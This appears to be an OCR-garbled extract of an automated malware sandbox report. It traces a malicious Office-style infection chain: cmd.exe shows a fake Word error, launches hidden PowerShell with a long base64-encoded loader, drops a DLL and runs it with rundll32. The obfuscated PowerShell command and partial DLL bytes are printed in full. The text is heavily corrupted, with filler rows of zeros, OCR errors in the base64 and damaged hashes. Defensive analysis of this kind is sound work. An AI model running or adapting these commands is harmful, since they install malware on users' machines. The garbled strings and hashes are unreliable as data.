00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

R2QORH0 00 00 00 00 00 FF completion

FF FF FF 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Source
Count Address

Symbol
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Key Path

Name

Type

00 00 00 00 00 00 00 00 00 00
21D 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 FF FF
FF FF

00 00 00 00 00 00 00 00 00 00
R@RODH40 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 FF FF FF FF

Completion

Source
Count Address

Symbol

Analysis Process: cmd.exe PID: 952 Parent PID: 1220

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Copyright null 2021

02:32:36
14/01/2021
C:\Windows\System32\cmd.exe

false
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Commandline: cmd cmd /c m"s"g %username% /v Word exp”erien”ced an er*ror tryi*ng to op”en th”e fi*le.
& prowe”rs*heMIN -w hirdd”en -“e”nc UwBIAFQALQBpAHQARQBIACAAdgBhAF
IASQBhAEIAbABFADOAdWAYAEgAQWAJACIAWWBOAHKAUABFAFOAKAAIAHSAMA
B9AHSAMgBIAHSAMWBIAHSAMQBIACIAIAAAGY AJwBZAHKAUWBOACCALAANAH
IARQBDAHQAbWBSAHKAIJWASACCAZQBNAC4AaQBVACAAIWASACCARABPACCAKQ
AgACKAIAAgADSAIAAGACAACWBFAHQALQBPAHQAZQBIACAAKAAIAFYAQQBYAG
kAYQAIACsAIgBIAGWAZQABACIAKWAIAHMAIGArACIAOQBUADYAIgAPACAAKA
AgAFsAdAB5AHAAZQBAACgAIgB7ADQAFQB7ADAATQB7ADCAfQB7ADUAIQB7AD
gAfQB7ADMAFQB7ADYAfQB7ADIAfQB7ADEAfQAIACOAZgAgACCACWBUAEUADQ
AUAGAAIWASACCARQBSACCALAANAGAAY QBNACCALAANAGKAYWANACWAIWBTAH
KAIJWASACCALGANACWAIWBFAFAAbWBPAE4AdABIAGEAIWASACCARQBUACCALA
ANAFMAZQBYAHYAJWAPACAAIAAPADSAIAAKAFIAegBIADgAbQBzADEAPQAKAE
WAXWA3AEYAIAATACAAWWBJAGGAY QBYAFOAKAA2ADQAKQAJACSAIAAKAFOANA QBSAFOAOQAYACKAKWAKAEBADAB2AHYAdWBUADYAKwW
AOACCALYBKACCAKWANAGWABAANACKAOWAKAFMAXWA2AFAAPQAOACCAUGANAC
SAKAANADUAMQANACSAIJWBOACCAKQAPADSAJABHAHQAMABIAHMAMQB1ADOAKA
A0ACCAQQBIACCAKWANAFSAIWAIrACCACQBDAEQAIWAPACSAIWABACBAIWATAC
gAIWAVAGOAJIWATrACCAY QBpACCAKQArACgAIWBSACAAIWATACcAawANACKAKw QBJACCAKWANAGBAJWATACCAYgAUACCAKQAIrACCAYWANACsAIw QBYAHIAY QB5AFOAKAACAC
CcAZAANACSAKAANAHMAIWAIACCAZQB3AGYAIJWAPACKALAAOACCAIWANACSAKA
ANAGUAdgB3ACCAKWANAGUAIWAPACKAKQASACIAIWBhAGUAIWArACCAZgBMAC
CAKQASACgAKAANAGYAdAANACSAIWBOACCAKQAIrACCACAANACKAKQBbBADIAXQ
ApAC4AIgBTAFAABABJAGKAdAAIACJAJABLADEANWBQACAAKWAJACQAUYBBAG
UAOABtAHMAMQAQACSAIAAKAEOAMgAOAEWAKQA7ACQAUAA4ADKASGAIACIAIW
BHADIAJWArACCANQBQACCAKQA7AGYAbwBYAGUAY QBJAGYAIAAOACQARWBOAGImagebase: 0x49f30000
File size: 345088 bytes
MDS5 hash: 5746BD7E255DD6ABAFA06F7C42C1BA41
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Has elevated privileges:
Has administrator privileges:

Programmed in:

true
true

C, C++ or other language

Reputation: moderate
Analysis Process: msg.exe PID: 2384 Parent PID: 952

General

Start time: 02:32:36

Start date: 14/01/2021

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

C:\Windows\System32\msg.exe

false

msg user /v Word experienced an error trying to open the file.

0xff830000

26112 bytes
2214979661E779C3E3C33D4F14E6F3AC
true

true

C, C++ or other language

Reputation: moderate
Analysis Process: powershell.exe PID: 2520 Parent PID: 952

General

Start time: 02:32:37

Start date: 14/01/2021

Path:

Wow64 process (32bit):

Copyright null 2021

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

false
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Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Copyright null 2021

powershell -w hidden -enc UwBIAFQALQBpAHQARQBIACAAdgBhAFIASQBhAEIA
bABFADoAdWAYAEgAQWAgACIAWWBOAHKAUABFAFOAKAAIAHSAMAB9AHSAMgBY
AHSAMWB9AHSAMQBOIACIAIAAtAGY AJwBzAHKAUWBOACCALAANAHIARQBDAHQA
bwBSAHKAIWASACCAZQBNAC4AaQBVACAAIWASACCARABPACCAKQAJACKAIAAY
ADSAIAAGACAACWBFAHQALQBpAHQAZQBIACAAKAAIAFYAQQBYAGKAYQAIACSA
1gBIAGWAZQABACIAKWAIAHMAIgArACIAOQBUADYAIgAPACAAKAAGAFSAJABS
AHAAZQBAACgAIgB7ADQAFQB7ADAATQB7ADCAfQB7ADUAQB7ADgAIQB7ADMA
fQB7ADYAfQB7ADIAfQB7ADEAfQAIACOAZgAGACCACWBUAEUADQAUAGAAIWAS
ACCARQBSACCALAANAG4AYQBNACCALAANAGKAYWANACWAIWBTAHKAIWASACCA
LgANACWAIWBFAFAAbWBPAE4AdABIAGEAIWASACCARQBUACCALAANAFMAZQBY
AHYAIWAPACAAIAAPADSAIAAKAFIAegBIADgAbQBzADEAPQAKAEWAXWASAEYA
IAATACAAWWBJAGGAY QBYAFOAKAA2ADQAKQAJACSAIAAKAFOANAAWAEOAOWAK
AFUANQAXAEIAPQA0ACGAIWBIACCAKWANADGANGANACKAKWANAFKAJWAPADSA
IAAKAHCAMgBOAEMAOQGAGACIAYWBYAEUAY QBOAGAAZQBEAGKAYABSAGUAYWBO
AEBAYABSAHKAIgJAOACQASABPAEOARQAGACSAIAACACIAIWBGAHAAIWATACYA
JwBMAEWAJWArACcAeAA4ACCAKQArACgAIWBVACCAKWANADAACWANACSAIWB6
AEYACAANACKAKWAOACCcAZgBHAHOAdABhACCAKWANAHOAawANnACKAKWAOACCA
bABGACCAKWANAHAAIWAPACSAIWBMACCAKQALAHIARQBWAGWAY QBDAEUAIAAD QBSAFOAOQAYACKAKWAKAEBADAB2AHYAdWBUADYAKWAOACCALgBK
ACCAKWANAGWAbAANACKAOWAKAFMAXWA2AFAAPQAOACCAUGANACSAKAANADUA
MQANACSAIWBOACCAKQAPADSAJABHAHQAMABIAHMAMQB1ADOAKAAOACCAQQB QBYAHIAYQB5AFOAKAAOACCAZAANACSA
KAANAHMAJIWArACCAZQB3AGYAIWAPACKALAAOACCADWANACSAKAANAGUAdgB3
ACCAKWANAGUAJIWAPACKAKQASACYAIWBhAGUAIWArACCAZGBMACCAKQASACYA
KAANAGgAdJAANACSAIWBOACCAKQAIACCACAANACKAKQBbDADIAXQAPAC4AIgBT
AFAAbABgAGKAdAAIACJAIJABLADEANWBQACAAKWAGACQAUGBBAGUAOABIAHMA
MQAQGACSAIAAKAEOAMgAOAEWAKQA7ACQAUAA4ADKASYASACYAIWBHADIAIWAT
ACCcANQBQACCAKQA7AGYAbwBYAGUAY QBJAGYAIAACACQARWBOAGIACYBJAGYA0x13fa90000
473600 bytes
852D67A27E454BD389FA7TF02A8CBE23F

true
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Has administrator privileges: true
Programmed in: .Net C# or VB.NET
Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\Lx800sz read data or list device directory file | success or wait 1 7FEE823BEC7 CreateDirectoryW
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\Lx800sz\Gztazkl read data or list device directory file | success or wait 1 7FEE823BEC7 CreateDirectoryW
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\L.x800sz\GztazkI\I11F.dll read attributes | device synchronous io  success or wait 1 7FEE823BEC7 CreateFileW
synchronize | non alert | non
generic write directory file |
open no recall
Source
Old File Path New File Path Completion Count Address Symbol
File Written
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\Lx800sz\GztazkN\I11F.dll unknown 4096 4d 5a 90 00 03 00 00 MZ. @..... success or wait 6 7FEE823BEC7 WriteFile
00 04 00 00 00 ff ff .
0000 hb800000000 ............ 1..L.IThis program

00 00 00 40 00 00 00 cannot be run in DOS
00 00 00 00 00 00 00 mode....

00 000000000000 $.......PE..L.
000000 00 000000 .l.2r..,.
00 00 00 00 00 00 00 ...
00 00 00 00800000 ...
00 Oe 1fba0e 00 b4 ...............
09 cd 21 b8 01 4c cd
21546869 73 20 70

72 6f 67 72 61 6d 20

63 61 6e 6e 6f 74 20

62 65 20 72 75 6e 20

69 6e 20 44 4f 53 20

6d 6f 64 65 2e 0d 0d

0a 24 00 00 00 00 00

00 00 50 45 00 00 4c

01 09 00 aa €0 fe 5f

00 00 00 00 00 00 00

00 €0 00 Oe 21 Ob 01

02 32 00 72 04 00 00

2c 00 00 00 00 00 00

€0 1c 00 00 00 10 00

00 00 30 00 00 00 00

00 10 00 10 00 00 00

02 00 00 04 00 00 00

00 00 00 00 04 00 00

00 00 00 00 00 00 10

05 00 00 04 00 00 00

00 00 00 02 00 00 00

00 00 10 00 00 10 00

00 00 00 10 00 00 10

00 00 00 00 00 00 10

00 00 00 00 00 00 00

00 00 00
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\L.x800sz\GztazkI\I11F.dll unknown 9089 108b 0d c4 7¢ 00 10 ....|.....|....@]....D|....P|. success or wait 14 7FEE823BEC7 WriteFile

89 0d 84 7c 00 10 8b
1540 7c 00 10 89 15
44 7¢0010c7 0550 ..h|...."|. .ULQUX|.
7c¢ 0010 be ac 00 00 ..E..e.X...t|..P.L|..P........
al1507c00108bo0d ..
84 7¢ 00 10 8d 94 01
b0 bf 030089 1550 .].
7¢0010a1507c 00 X|...0"..P..Hj
10 2d be ac 00 00 a3
50 7c 00 10 c7 05 64
7c 00 10 00 00 00 00
8b 0d 64 7c 00 10 89
0d 68 7c 00 10 c7 05
60 7c 00 10 Oc 00 00
00 5d c3 cc cc cc cc
558bec51al587c
00 10 89 45 fc 8b 65
fc588be8al 74 7c
00 10 50 al 4c 7c 00
10 50 8b d2 8b d2 8b
d2 8b d2 8b d2 8b d2
8b d2 8b d2 8b d2 8b
d2 8b d2 8b d2 8b d2
8b d2 8b d2 8b d2 8b
d2 8b d2 8b d2 8b d2
8b d2 8b d2 8b d2 8b
1550 7¢ 00 10 52 c3
8b e5 5d c3 cc cc cc
cc cc cc cc cc 55 8b
ec 5d c3 cc cc cc cc
EelceleelcElcelceles)
55 8b ec 83 ec 08 8b
5508 89 15 74 7c 00
10 89 2d 58 7c 00 10
al 30 60 00 10 50 ff

15 48 6a
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEE80A5208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 6304 success or wait 3 7FEE80A5208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEE81CA287 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 success or wait 4 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 781 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 success or wait 42 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 success or wait 7 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 542 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait 6 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait 7 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait 18 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 50 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait 7 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 success or wait 63 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 201 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait 22 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait 5 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 844 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait 5 7FEE823BEC7 ReadFile
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File Path Offset Length Completion Count Address Symbol
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file 1 7FEE823BEC7 ReadFile
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 4096 success or wait 1 7FEE81969DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll

C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 512 success or wait 1 7FEE81969DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 success or wait 1 7FEE823BEC7 ReadFile
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 end of file 1 7FEE823BEC7 ReadFile

Registry Activities

Source
Key Path Completion Count Address Symbol
Source
Key Path Name Type Data Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2532 Parent PID: 2520
General
Start time: 02:32:41
Start date: 14/01/2021
Path: C:\Windows\System32\rundll32.exe
Wow64 process (32bit): false
Commandline: ‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Lx800sz\Gztazk\I11F.dll RunDII
Imagebase: 0xffb50000
File size: 45568 bytes
MDS5 hash: DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate
File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\L.x800sz\GztazkI\I11F.dll unknown 64 success or wait 1 FFB527D0 ReadFile
C:\Users\user\L.x800sz\GztazkI\I11F.dll unknown 264 success or wait 1 FFB5281C ReadFile
Analysis Process: rundll32.exe PID: 2556 Parent PID: 2532
General
Start time: 02:32:42
Start date: 14/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true
Commandline: ‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Lx800sz\Gztazk\I11F.dll RunDII
Imagebase: 0xcf0000
File size: 44544 bytes
MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate
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File Activities

Source
File Path Offset Length Completion Count Address Symbol

Disassembly

Code Analysis
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